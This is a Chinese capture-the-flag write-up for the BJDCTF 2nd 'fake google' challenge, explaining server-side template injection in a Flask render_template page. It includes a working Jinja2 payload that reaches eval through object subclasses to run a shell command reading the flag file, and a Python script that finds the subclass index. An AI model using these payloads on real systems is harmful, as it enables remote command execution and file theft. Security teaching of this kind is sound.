[BJDCTF 2nd]fake google Writeup(SSTI攻击原理分析)

利用本题，我们开始讲解简单的SSTI知识。

首先进入题目界面，发现是一个大大的google搜索界面（仿制）

在搜索栏随意输入后，发现跳转到qaq，并以get方式传入了一个name的变量。


然后我们开始修改name变量的值。
不要因为我说要讲框架注入咱们就直接上SSTI的payload。。。正常测试找攻击点咱们也该试试1’ 之类的sql注入。。。
然后我们发现输入SSTI的表达式构造会出现回显：

?name={{2*2}}

这里附一张各类框架的结构图（网图）：

漏洞形成的原因其实与sql等大同小异。
关键在于一个函数和一个框架知识。

函数：reder_template
框架知识：框架渲染
render_template函数在渲染模板的时候使用了%s来动态替换字符串（见上方图），替换的过程如果我们输入的是正常的string，那输出正常。但如果我们输入计算表达式甚至代码的话，就能实现注入攻击。
利用的流程一般是先获取基本类，再获取基本类的子类，并从子类中找到关于命令执行的模块。

所以这道题我们的payload：

http://46742af1-6c83-4833-9337-84f7e1e072dd.node3.buuoj.cn/qaq?name={{%27%27.__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__[%27eval%27](%22__import__(%27os%27).popen(%27cd%20/;cat%20flag%27).read()%22)}}

这里基本没有任何过滤。

附一个可以自动检测所用类序号的脚本：

import requests
import re
url = r"http://www.example.com?SSTI={{''.__class__.__bases__[0].__subclasses__()}}"
r = requests.get(url)
s = re.findall(r"class '(.*?)'>",r.text)
print(s.index('warnings.catch_warnings')+1)
#print(r.text)

题目难度:

简单

考察点：

SSTI简单注入